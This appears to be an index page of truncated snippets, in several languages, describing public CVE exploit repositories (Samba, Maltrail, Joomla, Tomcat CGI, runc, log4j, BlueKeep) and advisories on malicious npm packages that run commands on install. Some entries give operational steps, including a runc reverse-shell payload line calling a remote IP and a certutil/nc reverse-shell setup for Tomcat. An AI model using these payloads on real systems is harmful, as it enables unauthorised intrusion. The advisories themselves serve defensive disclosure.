Samba-CVE-2007-2447-Exploit-Username-Map-Script

Exploit Samba CVE-2007-2447 Script de mappage de nom d'utilisateur Ce dépôt contient un script Python conçu pour automatiser l'exploitation de la vulnérabilité CVE-2007-2447 sur les serveurs Samba versions 3.0.20 à 3.0.25rc3. Cet outil a été développé à des fins exclusivement éducatives et pour d...

Malicious code in wcag-color-a11y-helpers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8b6e72298f32298d6558f5d52eb7a9d5185b37fe8df14748bf61d6686dde1cb3 Package is advertised as a WCAG color accessibility helper library but ships thunderboltRegistry.js, an IIFE that on module load executes shell...

MAL-2026-17530 Malicious code in wcag-color-a11y-helpers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8b6e72298f32298d6558f5d52eb7a9d5185b37fe8df14748bf61d6686dde1cb3 Package is advertised as a WCAG color accessibility helper library but ships thunderboltRegistry.js, an IIFE that on module load executes shell...

MAL-2026-17502 Malicious code in botmaker-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86fdc86c67d202ca9938942ef7786534d1b72169187cce13b1cefd8899fa54aa On npm install, postinstall.js collects the installer's hostname, username, current working directory, architecture, platform, and network interface...

Malicious code in botmaker-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86fdc86c67d202ca9938942ef7786534d1b72169187cce13b1cefd8899fa54aa On npm install, postinstall.js collects the installer's hostname, username, current working directory, architecture, platform, and network interface...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE Créé par TheAlchimist cve-2023-27163-maltrail.py pour un reverse shell...

Malicious code in css-anchor-pos-fallback (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd0a6c8e1448ffd9abb3732872ea3d49280a422d49524aaa57d0b89a73812f05 The package advertises itself as a CSS anchor-position polyfill but on require executes an IIFE in thunderboltRegistry.js that runs id, whoami, uname...

MAL-2026-17476 Malicious code in css-anchor-pos-fallback (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd0a6c8e1448ffd9abb3732872ea3d49280a422d49524aaa57d0b89a73812f05 The package advertises itself as a CSS anchor-position polyfill but on require executes an IIFE in thunderboltRegistry.js that runs id, whoami, uname...

CVE-2015-8562

CVE-2015-8562 - Обратная оболочка на Python Эксплойт: Joomla 1.5 - 3.4.5 Object Injection RCE через заголовок X-Forwarded-For: Дата уязвимости: 17.12.2015 Автор эксплойта: anarc0der Версия: Joomla 1.5 - 3.4.5 CVE: CVE-2015-8562 Как использовать: Откройте один терминал и слушайте с помощью nc: $ n...

CVE-2019-0232

Эксплойт CGI RCE PoC для неаутентифицированного RCE через CGI batch-эндпоинты. Загружает nc.exe на цель с помощью certutil и инициирует обратный shell. Настройка 1. Разместите nc.exe в той же директории, где находится nc.exe: python3 -m http.server 80 2. Запустите слушатель: nc -lvnp 1234 3...

CVE-2022-37706-SUID

CVE-2022-37706-SUID CVE-2022-37706-Enlightenment v0.25.3 - Élévation de privilèges ./exploit.sh CVE-2022-37706 Tentative de localisation du fichier SUID vulnérable... Ceci peut prendre quelques secondes... + Binaire SUID vulnérable trouvé ! + Tentative d'obtention d'un shell root ! + Profitez du...

CVE-2021-21220

Installez d'abord : https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Version de Chrome : 90.0.4403.0 Installez chrome-win.zip 1. node server.js Exécutez ./chrome.exe --no-sandbox Rendez-vous sur localhost:8888 Notez que la CVE sur laquelle...

CVE-2019-0232_tomcat_cgi_exploit

Скрипт эксплойта CGI для Apache Tomcat Описание Скрипт на Python, предназначенный для эксплуатации CGI-уязвимостей на серверах Apache Tomcat путем установления обратного shell-соединения. Пример использования Возможности Автоматизированный эксплойт для CGI-уязвимостей Apache Tomcat Настраиваемые...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Utilisation : La machine est vulnérable à la CVE-2019-5736, suivez les étapes de l'exploit Runc CVE-2019-5736. Téléchargez le fichier main.go, modifiez le payload dans le fichier en : var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" Ensuite,...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE 代替アプローチ：リバースシェル＆コールバックテスト 概要 このリポジトリには、InvokeAIのRCE脆弱性（CVE-2024-12029）に対して、SSHキーインジェクションが失敗した場合の代替ペイロードアプローチが含まれています。ペイロードは、pickle逆シリアル化が実際に行われているかどうかをテストし、代替アクセス方法を提供するように設計されています。 問題の説明...

CVE-2019-0708-POC

CVE-2019-0708-POC Preuve de concept fonctionnelle pour CVE-2019-0708, génère un shell distant. Exécutez avec python3, Exemple python3 CVE-2019-0708-windows.py Des versions différentes sont requises pour linux et Windows. Obfusqué pour des raisons évidentes...

POC_react2shell_CVE-2025-55182

Exploitation RCE des composants serveur React de Next.js Exploite CVE-2025-55182 pour exécution de code à distance via pollution de prototype. Auteur : Severian N.K. Description Cet outil exploite une vulnérabilité de pollution de prototype dans les applications Next.js utilisant les composants...

needrestart-privesc-cve-2024-48990

Élévation de privilège needrestart CVE-2024-48990 Ce dépôt contient un exploit minimal d'élévation de privilèges locaux ciblant une vulnérabilité dans needrestart CVE-2024-48990. La vulnérabilité permet l'exécution arbitraire de code Perl en tant que root en abusant de l'option de configuration -...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc Доказательство концепции PoC для недавно обнаруженной уязвимости CVE-2021-44228. Недавно была обнаружена новая уязвимость в log4j — библиотеке журналирования на Java, которая очень широко используется в таких проектах, как elasticsearch, minecraft и многих других. В этом репозитор...

htb-sau-exploit-chain

Chaîne d'exploitation HTB Sau — CVE-2023-27163 SSRF + Automatisation RCE Maltrail Un script d'exploitation Python qui enchaîne CVE-2023-27163 Falsification de requête côté serveur dans Request Baskets ≤ 1.2.1 avec une vulnérabilité d'exécution de code à distance non authentifiée dans Maltrail 0.5...